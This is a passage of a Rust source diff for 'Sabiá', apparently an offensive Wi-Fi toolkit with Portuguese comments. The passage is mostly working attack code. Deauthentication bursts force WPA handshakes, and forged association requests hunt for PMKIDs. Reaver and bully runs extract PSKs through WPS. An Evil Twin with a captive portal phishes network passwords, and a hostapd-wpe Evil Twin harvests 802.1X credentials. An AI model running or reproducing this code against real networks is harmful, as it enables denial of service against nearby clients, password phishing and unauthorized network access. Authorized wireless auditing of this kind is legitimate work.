fn stop_deauth_for_iface(&self, name: &str) -> Vec { + let ids: Vec = self + .deauth_jobs + .lock() + .unwrap() + .iter() + .filter(|(_, j)| { + let info = j.info.lock().unwrap(); + info.iface == name && info.status == "running" + }) + .map(|(id, _)| id.clone()) + .collect(); + for id in &ids { + let _ = self.stop_deauth_job(id); + } + ids + } + + /// Atalho para “forçar handshake”: escolhe um cliente associado (quando + /// nenhum foi indicado), trava o canal do AP e envia rajadas espaçadas. + /// O espaço entre as rajadas é essencial: deauth a cada 120 ms mantém o + /// cliente fora do ar e pode impedir a reassociação que produz o EAPOL. + #[cfg(target_os = "linux")] + pub fn capture_handshake( + &self, + name: &str, + bssid: &str, + station: Option<&str>, + seconds: Option, + ) -> Result { + let station = station + .map(str::to_string) + .or_else(|| self.first_associated_station(name, bssid)); + let direction = if station.is_some() { "both" } else { "ap" }; + self.start_deauth_job_burst( + name, + bssid, + station.as_deref(), + 7, + direction, + "deauth", + 1_500, + Some(seconds.unwrap_or(30).clamp(5, 300)), + true, + 5, + ) + } + + #[cfg(target_os = "linux")] + fn first_associated_station(&self, name: &str, bssid: &str) -> Option { + let sessions = self.sessions.lock().unwrap(); + let session = sessions.get(name)?; + let table = session.table.lock().unwrap(); + table + .clients() + .into_iter() + .find(|c| { + c.associated + && c.mac != bssid + && c.bssid + .as_deref() + .is_some_and(|b| b.eq_ignore_ascii_case(bssid)) + }) + .map(|c| c.mac) + } + + #[cfg(not(target_os = "linux"))] + pub fn capture_handshake( + &self, + _name: &str, + _bssid: &str, + _station: Option<&str>, + _seconds: Option, + ) -> Result { + Err(SabiaError::UnsupportedPlatform) + } + #[cfg(not(target_os = "linux"))] pub fn deauth( &self, @@ -721,6 +1741,1195 @@ impl Engine { Err(SabiaError::UnsupportedPlatform) } + #[cfg(not(target_os = "linux"))] + #[allow(clippy::too_many_arguments)] + pub fn deauth_directional( + &self, + _name: &str, + _bssid: &str, + _station: Option<&str>, + _count: u32, + _reason: u16, + _direction: &str, + _frame_kind: &str, + ) -> Result { + Err(SabiaError::UnsupportedPlatform) + } + + /// Tenta provocar a mensagem 1 com PMKID: autentica e envia um + /// association request com RSN/PMKID usando um MAC local forjado. É o + /// mesmo gatilho do ataque clientless, mas depende do AP — muitos só + /// incluem PMKID em roaming real. + #[cfg(target_os = "linux")] + pub fn pmkid_hunt(&self, name: &str, bssid: &str, attempts: u32) -> Result { + use crate::inject::{self, RawInjector}; + + let attempts = attempts.clamp(1, 50); + let info = iface::get(name)?; + if info.mode == Mode::Managed { + return Err(SabiaError::InvalidInput(format!( + "{name} está em modo managed; ative o modo monitor antes do teste PMKID" + ))); + } + let running = self + .sessions + .lock() + .unwrap() + .get(name) + .is_some_and(|s| s.running.load(Ordering::SeqCst)); + if !running { + return Err(SabiaError::InvalidInput( + "inicie a captura nesta interface antes do teste PMKID".into(), + )); + } + let ap = self.session_ap(name, bssid)?.ok_or_else(|| { + SabiaError::InvalidInput("BSSID ainda não visto nesta captura".into()) + })?; + let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| { + SabiaError::InvalidInput("SSID oculto: impossível montar o association request".into()) + })?; + if let Some(channel) = ap.channel { + self.lock_channel(name, Some(channel))?; + } + let ap_mac = parse_mac(bssid)?; + let station = probe_station_mac(); + let akms = akms_for(&ap); + let injector = RawInjector::open(name)?; + + let mut frames_sent = 0usize; + for i in 0..attempts { + let auth = inject::auth_frame(ap_mac, station); + injector.send(&auth)?; + frames_sent += 1; + std::thread::sleep(Duration::from_millis(30)); + let mut pmkid = [0u8; 16]; + pmkid[0] = i as u8 + 1; + pmkid[15] = 0xa5; + let assoc = inject::assoc_request_frame( + ap_mac, + station, + &ssid, + &akms, + ap.pmf, + ap.pmf_required, + pmkid, + ); + injector.send(&assoc)?; + frames_sent += 1; + std::thread::sleep(Duration::from_millis(150)); + } + std::thread::sleep(Duration::from_millis(800)); + + let station_text = crate::dot11::mac_to_string(&station); + let handshakes = self.handshakes(Some(name)); + let found = handshakes + .iter() + .find(|h| h.bssid.eq_ignore_ascii_case(bssid) && h.pmkid.is_some()) + .cloned(); + let report = PmkidReport { + iface: name.to_string(), + bssid: bssid.to_string(), + ssid: Some(ssid), + station: station_text, + frames_sent, + pmkid: found.as_ref().and_then(|h| h.pmkid.clone()), + handshakes: handshakes + .iter() + .filter(|h| h.bssid.eq_ignore_ascii_case(bssid)) + .count(), + detail: if found.is_some() { + "PMKID observado; exporte em .hc22000 e quebre com hashcat ou pelo Sabiá.".into() + } else { + "Nenhum PMKID apareceu. O AP pode não usar cache de PMKID ou só responder a roaming real; tente também desautenticar um cliente associado.".into() + }, + }; + self.log( + "pmkid_hunt", + name, + serde_json::json!({ + "bssid": bssid, + "station": report.station, + "frames": frames_sent, + "pmkid": report.pmkid, + }), + ); + if ap.channel.is_some() { + let _ = self.lock_channel(name, None); + } + Ok(report) + } + + fn session_ap(&self, name: &str, bssid: &str) -> Result> { + let sessions = self.sessions.lock().unwrap(); + let session = sessions.get(name).ok_or_else(|| { + SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) + })?; + let table = session.table.lock().unwrap(); + Ok(table + .access_points() + .into_iter() + .find(|a| a.bssid.eq_ignore_ascii_case(bssid))) + } + + /// Teste prático de PMF: desautentica nas duas direções e observa se a + /// estação volta a associar. Não é uma prova criptográfica — é o mesmo + /// sinal que um ataque real usaria. + #[cfg(target_os = "linux")] + pub fn pmf_test( + &self, + name: &str, + bssid: &str, + station: &str, + reason: u16, + ) -> Result { + let before = self.client_snapshot(name, station)?; + let channel = self.session_ap(name, bssid)?.and_then(|a| a.channel); + if let Some(channel) = channel { + self.lock_channel(name, Some(channel))?; + } + let started = unix_now(); + let sent = + self.deauth_directional(name, bssid, Some(station), 5, reason, "both", "deauth")?; + std::thread::sleep(Duration::from_secs(4)); + if channel.is_some() { + let _ = self.lock_channel(name, None); + } + let after = self.client_snapshot(name, station); + let (packets_after, reconnected) = match after { + Ok(Some(c)) => ( + c.packets, + c.events + .iter() + .any(|e| e.t >= started && e.kind == "associate"), + ), + _ => (0, false), + }; + let packets_before = before.map(|c| c.packets).unwrap_or(0); + let (verdict, detail) = if reconnected { + ( + "pmf_off", + "A estação voltou a se associar após a desautenticação: PMF não está obrigatório (ou o cliente não o usa).", + ) + } else if packets_after > packets_before + 3 { + ( + "pmf_off", + "A estação continuou trocando quadros depois da desautenticação; o quadro de gerenciamento provavelmente foi aceito.", + ) + } else { + ( + "inconclusive", + "A estação não voltou a associar na janela observada. PMF pode estar ativo, ou o cliente simplesmente ficou inativo.", + ) + }; + let report = PmfReport { + iface: name.to_string(), + bssid: bssid.to_string(), + station: station.to_string(), + frames_sent: sent.frames_sent, + reconnected, + packets_before, + packets_after, + verdict: verdict.to_string(), + detail: detail.to_string(), + }; + self.log( + "pmf_test", + name, + serde_json::json!({ + "bssid": bssid, + "station": station, + "verdict": verdict, + "reconnected": reconnected, + }), + ); + Ok(report) + } + + fn client_snapshot(&self, name: &str, station: &str) -> Result> { + let sessions = self.sessions.lock().unwrap(); + let session = sessions.get(name).ok_or_else(|| { + SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) + })?; + let table = session.table.lock().unwrap(); + Ok(table.clients().into_iter().find(|c| c.mac == station)) + } + + pub fn wps_tools(&self) -> Vec { + crate::wps::tools() + } + + /// Inicia reaver/bully como processo filho. Sem PIN, o reaver usa Pixie + /// Dust. A saída é lida ao vivo e o PIN/PSK é extraído quando aparece. + #[cfg(target_os = "linux")] + pub fn start_wps( + &self, + name: &str, + bssid: &str, + channel: u32, + tool: &str, + pin: Option<&str>, + ) -> Result { + use std::io::{BufRead, BufReader}; + use std::process::{Command, Stdio}; + + let path = crate::wps::tool_path(tool).ok_or_else(|| { + SabiaError::InvalidInput(format!( + "{tool} não está disponível; o reaver integrado não pôde ser extraído" + )) + })?; + if let Some(pin) = pin { + if pin.len() != 8 || !pin.chars().all(|c| c.is_ascii_digit()) { + return Err(SabiaError::InvalidInput( + "PIN WPS deve ter 8 dígitos".into(), + )); + } + } + parse_mac(bssid)?; + let info = iface::get(name)?; + if info.mode == Mode::Managed { + return Err(SabiaError::InvalidInput(format!( + "{name} está em modo managed; ative o modo monitor antes do ataque WPS" + ))); + } + + let lock_slot = if channel > 0 { + self.lock_channel(name, Some(channel))?; + self.sessions + .lock() + .unwrap() + .get(name) + .map(|s| s.locked_channel.clone()) + } else { + None + }; + + let id = format!("wps-{}", self.wps_seq.fetch_add(1, Ordering::SeqCst) + 1); + let job = Arc::new(Mutex::new(WpsJobInfo { + id: id.clone(), + iface: name.to_string(), + bssid: bssid.to_string(), + tool: tool.to_string(), + status: "running".into(), + pin: pin.map(str::to_string), + password: None, + output: Vec::new(), + error: None, + started_unix: unix_now(), + finished_unix: None, + pid: None, + })); + self.wps_jobs + .lock() + .unwrap() + .insert(id.clone(), job.clone()); + + let args = crate::wps::args(tool, name, bssid, channel, pin); + let audit_path = self.audit_path.clone(); + let audit_lock = self.audit_lock.clone(); + let iface_name = name.to_string(); + let bssid_owned = bssid.to_string(); + let tool_owned = tool.to_string(); + let pin_owned = pin.map(str::to_string); + let thread_job = job.clone(); + let thread_lock = lock_slot; + let wps_dir = + std::env::temp_dir().join(format!("sabia-wps-{}", unsafe { libc::geteuid() })); + let _ = std::fs::create_dir_all(&wps_dir); + std::thread::spawn(move || { + let mut command = Command::new(&path); + command + .args(&args) + .current_dir(&wps_dir) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + let mut child = match command.spawn() { + Ok(child) => child, + Err(e) => { + if let Ok(mut j) = thread_job.lock() { + j.status = "error".into(); + j.error = + Some(format!("não foi possível executar {}: {e}", path.display())); + j.finished_unix = Some(unix_now()); + } + if let Some(lock) = &thread_lock { + *lock.lock().unwrap() = None; + } + return; + } + }; + if let Ok(mut j) = thread_job.lock() { + j.pid = Some(child.id()); + } + + let mut readers = Vec::new(); + if let Some(stdout) = child.stdout.take() { + let job = thread_job.clone(); + readers.push(std::thread::spawn(move || { + for line in BufReader::new(stdout) + .lines() + .map_while(std::result::Result::ok) + { + record_wps_line(&job, &line); + } + })); + } + if let Some(stderr) = child.stderr.take() { + let job = thread_job.clone(); + readers.push(std::thread::spawn(move || { + for line in BufReader::new(stderr) + .lines() + .map_while(std::result::Result::ok) + { + record_wps_line(&job, &line); + } + })); + } + let status = child.wait(); + for reader in readers { + let _ = reader.join(); + } + if let Some(lock) = &thread_lock { + *lock.lock().unwrap() = None; + } + let mut guard = thread_job.lock().unwrap(); + guard.finished_unix = Some(unix_now()); + if guard.status == "stopped" { + return; + } + let found = guard.password.is_some(); + match status { + Ok(s) if s.success() || found => { + guard.status = "done".into(); + if !found { + guard.error = Some("a ferramenta terminou sem informar PSK".into()); + } + } + Ok(s) => { + guard.status = "error".into(); + guard.error = Some(format!( + "{} terminou com código {}", + path.display(), + s.code().unwrap_or(-1) + )); + } + Err(e) => { + guard.status = "error".into(); + guard.error = Some(e.to_string()); + } + } + let password = guard.password.clone(); + drop(guard); + append_audit( + &audit_path, + &audit_lock, + "wps_attack", + &iface_name, + &serde_json::json!({ + "bssid": bssid_owned, + "tool": tool_owned, + "pin": pin_owned, + "success": password.is_some(), + }), + ); + }); + + self.log( + "wps_start", + name, + serde_json::json!({ "job": id, "bssid": bssid, "tool": tool }), + ); + Ok(id) + } + + #[cfg(not(target_os = "linux"))] + #[allow(clippy::too_many_arguments)] + pub fn start_wps( + &self, + _name: &str, + _bssid: &str, + _channel: u32, + _tool: &str, + _pin: Option<&str>, + ) -> Result { + Err(SabiaError::UnsupportedPlatform) + } + + pub fn wps_job(&self, id: &str) -> Option { + self.wps_jobs + .lock() + .unwrap() + .get(id) + .map(|j| j.lock().unwrap().clone()) + } + + pub fn wps_jobs(&self) -> Vec { + let jobs = self.wps_jobs.lock().unwrap(); + let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect(); + out.sort_by_key(|a| std::cmp::Reverse(a.started_unix)); + out + } + + #[cfg(target_os = "linux")] + pub fn stop_wps(&self, id: &str) -> Result<()> { + let job = self + .wps_jobs + .lock() + .unwrap() + .get(id) + .cloned() + .ok_or_else(|| SabiaError::InvalidInput("job WPS não encontrado".into()))?; + let pid = job.lock().unwrap().pid; + if let Some(pid) = pid { + // SAFETY: sinal para o processo filho que este próprio Sabiá criou. + unsafe { + libc::kill(pid as i32, libc::SIGTERM); + } + } + let mut guard = job.lock().unwrap(); + guard.status = "stopped".into(); + guard.finished_unix = Some(unix_now()); + let iface = guard.iface.clone(); + drop(guard); + if let Some(session) = self.sessions.lock().unwrap().get(&iface) { + *session.locked_channel.lock().unwrap() = None; + } + Ok(()) + } + + #[cfg(not(target_os = "linux"))] + pub fn stop_wps(&self, _id: &str) -> Result<()> { + Err(SabiaError::UnsupportedPlatform) + } + + /// Evil Twin + portal cativo: clona um AP já visto nesta sessão (SSID + /// aberto, numa segunda interface em modo AP) e sobe um portal que pede + /// a senha — conferida na hora contra um handshake real já capturado + /// desse BSSID, não aceita qualquer coisa digitada. Por isso exige um + /// handshake quebrável já presente na tabela: é o mesmo requisito do + /// botão "Quebrar senha", só que a verificação acontece ao vivo, uma + /// tentativa por vez, em vez de testar um dicionário inteiro. + /// + /// Precisa de `hostapd` instalado e de uma segunda interface Wi-Fi + /// capaz de modo AP, diferente da que está capturando/desautenticando. + #[cfg(target_os = "linux")] + #[allow(clippy::too_many_arguments)] + pub fn start_evil_twin( + &self, + name: &str, + ap_iface: &str, + bssid: &str, + portal_port: u16, + deauth_real_ap: bool, + ) -> Result { + use std::fs; + use std::process::{Command, Stdio}; + + parse_mac(bssid)?; + if ap_iface == name { + return Err(SabiaError::InvalidInput( + "a interface do clone precisa ser diferente da que está capturando".into(), + )); + } + let (table, ssid, channel) = { + let sessions = self.sessions.lock().unwrap(); + let session = sessions.get(name).ok_or_else(|| { + SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) + })?; + let table = session.table.clone(); + let t = table.lock().unwrap(); + let ap = t + .access_points() + .into_iter() + .find(|a| a.bssid.eq_ignore_ascii_case(bssid)) + .ok_or_else(|| { + SabiaError::InvalidInput( + "esse BSSID ainda não apareceu nesta sessão de captura".into(), + ) + })?; + let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| { + SabiaError::InvalidInput("rede oculta: sem SSID não dá pra clonar".into()) + })?; + let channel = ap.channel.ok_or_else(|| { + SabiaError::InvalidInput("canal do AP ainda não identificado".into()) + })?; + drop(t); + (table, ssid, channel) + }; + + let hs = { + let t = table.lock().unwrap(); + t.first_crackable(Some(bssid), None).cloned() + } + .ok_or_else(|| { + SabiaError::InvalidInput( + "capture um handshake quebrável desse AP antes (aba Handshake → Forçar handshake)" + .into(), + ) + })?; + let target = crack::CrackTarget::from_handshake(&hs).ok_or_else(|| { + SabiaError::InvalidInput("handshake sem dados suficientes pra conferir senha".into()) + })?; + + crate::wps::find_in_path("hostapd").ok_or_else(|| { + SabiaError::InvalidInput( + "hostapd não está instalado (sudo apt install hostapd) — necessário pro Evil Twin" + .into(), + ) + })?; + + let info = iface::get(ap_iface)?; + if info.mode != Mode::Managed && info.mode != Mode::Monitor { + return Err(SabiaError::InvalidInput(format!( + "{ap_iface} está num modo que o hostapd não consegue usar" + ))); + } + + const GATEWAY_IP: &str = "10.90.90.1"; + const DHCP_RANGE: (&str, &str) = ("10.90.90.10", "10.90.90.200"); + + let dir = + std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() })); + fs::create_dir_all(&dir).map_err(SabiaError::Io)?; + let hostapd_conf_path = dir.join(format!("hostapd-{ap_iface}.conf")); + let dnsmasq_conf_path = dir.join(format!("dnsmasq-{ap_iface}.conf")); + fs::write( + &hostapd_conf_path, + crate::eviltwin::hostapd_conf(ap_iface, &ssid, channel, None), + ) + .map_err(SabiaError::Io)?; + fs::write( + &dnsmasq_conf_path, + crate::eviltwin::dnsmasq_conf(ap_iface, GATEWAY_IP, DHCP_RANGE), + ) + .map_err(SabiaError::Io)?; + + // Estado em disco pra recuperação: se este processo morrer (Ctrl+C + // sem handler, kill -9, queda de energia) antes da thread de + // limpeza rodar, as duas interfaces ficam presas em `managed no` + // pro NetworkManager pra sempre e o hostapd/dnsmasq ficam órfãos — + // na prática o Wi-Fi inteiro desaparece da configuração do sistema + // (nenhum dispositivo gerenciado pro painel mostrar). `self_heal_eviltwin_leftovers` + // lê este arquivo no próximo início do engine e desfaz tudo. + let state_path = dir.join(format!("state-{ap_iface}.json")); + let _ = fs::write( + &state_path, + serde_json::json!({ + "ap_iface": ap_iface, + "capture_iface": name, + "portal_port": portal_port, + "hostapd_conf": hostapd_conf_path.to_string_lossy(), + "dnsmasq_conf": dnsmasq_conf_path.to_string_lossy(), + }) + .to_string(), + ); + + // Se o NetworkManager (ou outro gerenciador) estiver cuidando dessa + // interface, ele reafirma a própria conexão por cima e o hostapd + // nunca consegue de fato assumir o rádio — fica "rodando" sem subir + // o AP. Solta a interface antes (best-effort: segue em frente mesmo + // sem nmcli, só não vai funcionar contra uma interface gerenciada). + // + // A interface de CAPTURA também precisa ficar fora do NetworkManager + // nesse momento: visto ao vivo — ao soltar só a `ap_iface`, o NM + // "resgatou" uma conexão salva daquele SSID pra outra placa Wi-Fi + // gerenciável disponível (a própria interface de captura!), tirando + // ela do modo monitor no meio da sessão. Solta as duas. + let _ = Command::new("nmcli") + .args(["device", "set", ap_iface, "managed", "no"]) + .status(); + let _ = Command::new("nmcli") + .args(["device", "set", name, "managed", "no"]) + .status(); + + // Endereço do gateway na interface do clone, antes de subir o + // hostapd/dnsmasq — sem isso o DHCP não tem o que anunciar. + let _ = Command::new("ip") + .args(["addr", "flush", "dev", ap_iface]) + .status(); + let _ = Command::new("ip") + .args(["addr", "add", &format!("{GATEWAY_IP}/24"), "dev", ap_iface]) + .status(); + let _ = Command::new("ip") + .args(["link", "set", ap_iface, "up"]) + .status(); + + // A saída do hostapd ia pro vácuo (Stdio::null()); quando ele morre + // na hora (config que o driver recusa, canal/banda que a placa não + // suporta de verdade, etc.) a única pista era um processo + // "" sem explicação nenhuma. Grava num arquivo pra poder + // diagnosticar, e confere logo depois do spawn se ele já morreu — + // nesse caso devolve o erro de cara em vez de deixar o job "rodando" + // só na aparência enquanto o AP nunca sobe de verdade. + let hostapd_log_path = dir.join(format!("hostapd-{ap_iface}.log")); + let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?; + let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?; + let mut hostapd_cmd = Command::new("hostapd"); + hostapd_cmd + .arg(&hostapd_conf_path) + .stdout(hostapd_log_out) + .stderr(hostapd_log_err); + let mut hostapd_child = hostapd_cmd.spawn().map_err(|e| { + SabiaError::InvalidInput(format!("não foi possível executar hostapd: {e}")) + })?; + std::thread::sleep(std::time::Duration::from_millis(500)); + if let Ok(Some(status)) = hostapd_child.try_wait() { + let _ = Command::new("nmcli") + .args(["device", "set", ap_iface, "managed", "yes"]) + .status(); + let _ = Command::new("nmcli") + .args(["device", "set", name, "managed", "yes"]) + .status(); + let _ = fs::remove_file(&state_path); + let log = fs::read_to_string(&hostapd_log_path).unwrap_or_default(); + return Err(SabiaError::InvalidInput(format!( + "hostapd saiu sozinho ({status}) logo ao subir em {ap_iface} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {}", + log.trim() + ))); + } + let hostapd_pid = hostapd_child.id(); + + let dnsmasq_child = if crate::wps::find_in_path("dnsmasq").is_some() { + Command::new("dnsmasq") + .arg("--no-daemon") + .arg(format!("--conf-file={}", dnsmasq_conf_path.display())) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .ok() + } else { + None + }; + let dnsmasq_pid = dnsmasq_child.as_ref().map(|c| c.id()); + + for rule in crate::eviltwin::iptables_rules(ap_iface, portal_port) { + let _ = Command::new("iptables").args(&rule).status(); + } + + // Sem parada automática daqui de dentro: a thread que termina o + // Evil Twin roda solta (não tem `&Engine` pra chamar stop_deauth_job + // de volta). Por segurança o job de deauth tem um teto de 30min — + // pra encerrar antes, é o endpoint de deauth normal (POST + // /api/deauth/stop) ou a aba Ataques → Desautenticação → Parar. + let deauth_job = if deauth_real_ap { + self.start_deauth_job_burst( + name, + bssid, + None, + 7, + "ap", + "deauth", + 1_500, + Some(1_800), + false, + 3, + ) + .ok() + } else { + None + }; + + let id = format!( + "eviltwin-{}", + self.eviltwin_seq.fetch_add(1, Ordering::SeqCst) + 1 + ); + let stop = Arc::new(AtomicBool::new(false)); + let job = Arc::new(Mutex::new(EvilTwinJobInfo { + id: id.clone(), + iface: name.to_string(), + ap_iface: ap_iface.to_string(), + ssid: ssid.clone(), + bssid: bssid.to_string(), + portal_port, + status: "running".into(), + attempts: 0, + last_attempt: None, + password: None, + deauth_job: deauth_job.clone(), + error: None, + started_unix: unix_now(), + finished_unix: None, + hostapd_pid: Some(hostapd_pid), + dnsmasq_pid, + stop: Some(stop.clone()), + })); + self.eviltwin_jobs + .lock() + .unwrap() + .insert(id.clone(), job.clone()); + + let listener = match std::net::TcpListener::bind(("0.0.0.0", portal_port)) { + Ok(l) => l, + Err(e) => { + let mut guard = job.lock().unwrap(); + guard.status = "error".into(); + guard.error = Some(format!("porta {portal_port} do portal: {e}")); + guard.finished_unix = Some(unix_now()); + return Ok(id); + } + }; + + let audit_path = self.audit_path.clone(); + let audit_lock = self.audit_lock.clone(); + let iface_name = name.to_string(); + let bssid_owned = bssid.to_string(); + let ssid_owned = ssid; + let ap_iface_owned = ap_iface.to_string(); + let thread_job = job.clone(); + let thread_table = table; + let thread_stop = stop; + let state_path_for_thread = state_path.clone(); + + std::thread::spawn(move || { + let job_for_attempts = thread_job.clone(); + let password = crate::eviltwin::run_portal( + listener, + &ssid_owned, + &target, + &thread_stop, + move |attempt| { + if let Ok(mut j) = job_for_attempts.lock() { + j.attempts += 1; + j.last_attempt = Some( + match attempt { + crate::eviltwin::PortalAttempt::Correct => "correct", + crate::eviltwin::PortalAttempt::WrongPassword => "wrong", + crate::eviltwin::PortalAttempt::InvalidLength => "invalid", + } + .into(), + ); + } + }, + ); + + // Limpeza: derruba hostapd/dnsmasq, desfaz o iptables, para o + // job de deauth do AP real — sempre, sucesso ou não. + unsafe { + libc::kill(hostapd_pid as i32, libc::SIGTERM); + } + if let Some(pid) = dnsmasq_pid { + unsafe { + libc::kill(pid as i32, libc::SIGTERM); + } + } + for rule in crate::eviltwin::iptables_cleanup_rules(&ap_iface_owned, portal_port) { + let _ = Command::new("iptables").args(&rule).status(); + } + // Devolve as duas interfaces pro NetworkManager, senão ficam + // soltas (sem reconectar sozinhas a nada) depois que o hostapd + // sai. A de captura também foi solta lá no início — ver o + // comentário em start_evil_twin sobre o NM "resgatando" conexão + // salva pra ela quando só a `ap_iface` era liberada. + let _ = Command::new("nmcli") + .args(["device", "set", &ap_iface_owned, "managed", "yes"]) + .status(); + let _ = Command::new("nmcli") + .args(["device", "set", &iface_name, "managed", "yes"]) + .status(); + // Limpeza terminou direitinho: o arquivo de recuperação não é + // mais necessário (senão o próximo start do engine ia tentar + // "curar" um estado que já está limpo). + let _ = std::fs::remove_file(&state_path_for_thread); + + let mut guard = thread_job.lock().unwrap(); + guard.finished_unix = Some(unix_now()); + if guard.status != "stopped" { + guard.status = if password.is_some() { + "done" + } else { + "stopped" + } + .into(); + } + if let Some(password) = &password { + thread_table + .lock() + .unwrap() + .set_password(&bssid_owned, &hs.station, password); + guard.password = Some(password.clone()); + } + let attempts = guard.attempts; + drop(guard); + + append_audit( + &audit_path, + &audit_lock, + "eviltwin_stop", + &iface_name, + &serde_json::json!({ + "bssid": bssid_owned, + "ap_iface": ap_iface_owned, + "attempts": attempts, + "success": password.is_some(), + }), + ); + }); + + self.log( + "eviltwin_start", + name, + serde_json::json!({ "job": id, "bssid": bssid, "ap_iface": ap_iface, "ssid_len": 0 }), + ); + Ok(id) + } + + #[cfg(not(target_os = "linux"))] + pub fn start_evil_twin( + &self, + _name: &str, + _ap_iface: &str, + _bssid: &str, + _portal_port: u16, + _deauth_real_ap: bool, + ) -> Result { + Err(SabiaError::UnsupportedPlatform) + } + + pub fn eviltwin_job(&self, id: &str) -> Option { + self.eviltwin_jobs + .lock() + .unwrap() + .get(id) + .map(|j| j.lock().unwrap().clone()) + } + + pub fn eviltwin_jobs(&self) -> Vec { + let jobs = self.eviltwin_jobs.lock().unwrap(); + let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect(); + out.sort_by_key(|a| std::cmp::Reverse(a.started_unix)); + out + } + + pub fn stop_evil_twin(&self, id: &str) -> Result<()> { + let job = self + .eviltwin_jobs + .lock() + .unwrap() + .get(id) + .cloned() + .ok_or_else(|| SabiaError::InvalidInput("job de Evil Twin não encontrado".into()))?; + let mut guard = job.lock().unwrap(); + guard.status = "stopped".into(); + if let Some(stop) = &guard.stop { + stop.store(true, Ordering::SeqCst); + } + // O accept() não-bloqueante só confere o `stop` a cada ~80ms — o + // listener às vezes só é liberado numa conexão local de "empurrão". + let port = guard.portal_port; + let capture_iface = guard.iface.clone(); + drop(guard); + let _ = std::net::TcpStream::connect(("127.0.0.1", port)); + // A thread que fecha o Evil Twin roda solta e não tem como parar o + // job de deauth acoplado de volta; isso aqui, que tem `&self`, pode. + self.stop_deauth_for_iface(&capture_iface); + Ok(()) + } + + /// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X): clona o AP numa + /// segunda interface anunciando o mesmo SSID+canal e deixa o + /// `hostapd-wpe` aceitar o handshake EAP (PEAP/TTLS→MSCHAPv2) de + /// qualquer cliente — a credencial sai sozinha, como parte do próprio + /// protocolo, sem portal nem ação humana (ver `eviltwin_enterprise.rs` + /// pro porquê disso só existir pra Enterprise e não pra PSK). + /// + /// Exige que o AP já tenha aparecido nesta sessão com segurança + /// Enterprise (AKM 802.1X) e que `hostapd-wpe` esteja instalado — não é + /// vendorizado como o reaver: é um patch sobre a árvore de build do + /// hostapd, não um binário pequeno. + #[cfg(target_os = "linux")] + pub fn start_evil_twin_enterprise( + &self, + name: &str, + ap_iface: &str, + bssid: &str, + ) -> Result { + use std::fs; + use std::process::{Command, Stdio}; + + parse_mac(bssid)?; + if ap_iface == name { + return Err(SabiaError::InvalidInput( + "a interface do clone precisa ser diferente da que está capturando".into(), + )); + } + let (ssid, channel) = { + let sessions = self.sessions.lock().unwrap(); + let session = sessions.get(name).ok_or_else(|| { + SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) + })?; + let t = session.table.lock().unwrap(); + let ap = t + .access_points() + .into_iter() + .find(|a| a.bssid.eq_ignore_ascii_case(bssid)) + .ok_or_else(|| { + SabiaError::InvalidInput( + "esse BSSID ainda não apareceu nesta sessão de captura".into(), + ) + })?; + if !ap.akm.iter().any(|a| a == "802.1X") { + return Err(SabiaError::InvalidInput( + "essa rede não é WPA2/WPA3-Enterprise (802.1X) — pra rede com senha única (PSK), use o Evil Twin com portal cativo".into(), + )); + } + let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| { + SabiaError::InvalidInput("rede oculta: sem SSID não dá pra clonar".into()) + })?; + let channel = ap.channel.ok_or_else(|| { + SabiaError::InvalidInput("canal do AP ainda não identificado".into()) + })?; + (ssid, channel) + }; + + crate::wps::find_in_path("hostapd-wpe").ok_or_else(|| { + SabiaError::InvalidInput( + "hostapd-wpe não está instalado — não vem com o Sabiá (é um patch sobre o build do hostapd, não um binário pequeno); instale pelo repositório do Kali ou compile https://github.com/aircrack-ng/hostapd-wpe".into(), + ) + })?; + + let info = iface::get(ap_iface)?; + if info.mode != Mode::Managed && info.mode != Mode::Monitor { + return Err(SabiaError::InvalidInput(format!( + "{ap_iface} está num modo que o hostapd-wpe não consegue usar" + ))); + } + + let dir = + std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() })); + fs::create_dir_all(&dir).map_err(SabiaError::Io)?; + let eap_user_path = dir.join(format!("eap_user-{ap_iface}")); + let key_path = dir.join(format!("wpe-{ap_iface}.key")); + let cert_path = dir.join(format!("wpe-{ap_iface}.pem")); + let log_path = dir.join(format!("wpe-{ap_iface}.log")); + let hostapd_conf_path = dir.join(format!("hostapd-wpe-{ap_iface}.conf")); + + fs::write( + &eap_user_path, + crate::eviltwin_enterprise::DEFAULT_EAP_USER_FILE, + ) + .map_err(SabiaError::Io)?; + // Mesmo certificado autoassinado serve de "CA" e de certificado do + // servidor — não é uma cadeia de verdade, só o suficiente pra abrir + // o túnel TLS que PEAP/TTLS exigem. Ver aviso em eviltwin_enterprise.rs + // sobre clientes que validam a cadeia e vão recusar isso de propósito. + let cert_args = crate::eviltwin_enterprise::openssl_selfsigned_cert_args( + &key_path.to_string_lossy(), + &cert_path.to_string_lossy(), + ); + let openssl_ok = Command::new("openssl") + .args(&cert_args) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status() + .map(|s| s.success()) + .unwrap_or(false); + if !openssl_ok { + return Err(SabiaError::InvalidInput( + "não foi possível gerar o certificado TLS (openssl) pro hostapd-wpe".into(), + )); + } + fs::write( + &hostapd_conf_path, + crate::eviltwin_enterprise::hostapd_wpe_conf( + ap_iface, + &ssid, + channel, + &eap_user_path.to_string_lossy(), + &cert_path.to_string_lossy(), + &cert_path.to_string_lossy(), + &key_path.to_string_lossy(), + &log_path.to_string_lossy(), + ), + ) + .map_err(SabiaError::Io)?; + + // Mesmo esquema de recuperação do Evil Twin de PSK (bug-093): + // `self_heal_eviltwin_leftovers` lê qualquer `state-*.json` sobrando + // e desfaz tudo no próximo início do engine, mesmo sem + // `portal_port`/`dnsmasq_conf` (campos ausentes, tratados como + // 